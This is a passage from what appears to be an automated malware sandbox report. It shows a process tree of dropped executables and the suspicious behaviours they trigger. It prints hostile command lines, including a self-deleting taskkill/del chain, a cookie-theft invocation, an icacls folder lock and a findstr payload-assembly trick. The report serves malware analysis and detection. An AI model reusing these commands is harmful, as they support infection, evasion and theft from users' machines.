                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:8208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c sonia_6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sonia_6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c sonia_7.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            icacls "C:\Users\Admin\AppData\Local\e08b2790-4fd4-4067-bf2f-882acba9b8b8" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\56F6.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\56F6.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\56F6.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\1d8443e5-b25a-4908-8a05-bc59ebb854db\build2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\1d8443e5-b25a-4908-8a05-bc59ebb854db\build2.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:9068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\1d8443e5-b25a-4908-8a05-bc59ebb854db\build2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\1d8443e5-b25a-4908-8a05-bc59ebb854db\build2.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:9380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\1d8443e5-b25a-4908-8a05-bc59ebb854db\build2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:10220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                taskkill /im build2.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\A49.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\A49.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im A49.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A49.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:9256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            taskkill /im A49.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\4743.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\4743.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:8820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 8848 -s 628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\8C7B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\8C7B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c cmd < Siamo.accde
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:10176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:9592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            findstr /V /R "^UdExDuSKnofXEvDTriGzcvOUiHhGIwFzLGTZpcCbdXqYqEQEkGdShFKbCJhVSkwbDVkXDDJIEpenvQUCRJceLNuyV$" Invocato.accde
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.004\Seguitare.exe.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Seguitare.exe.com c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.004\Seguitare.exe.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.004\Seguitare.exe.com c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.004\Seguitare.exe.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.004\Seguitare.exe.com c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:10756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ping 127.0.0.1 -n 30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:9616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:9612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9844

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

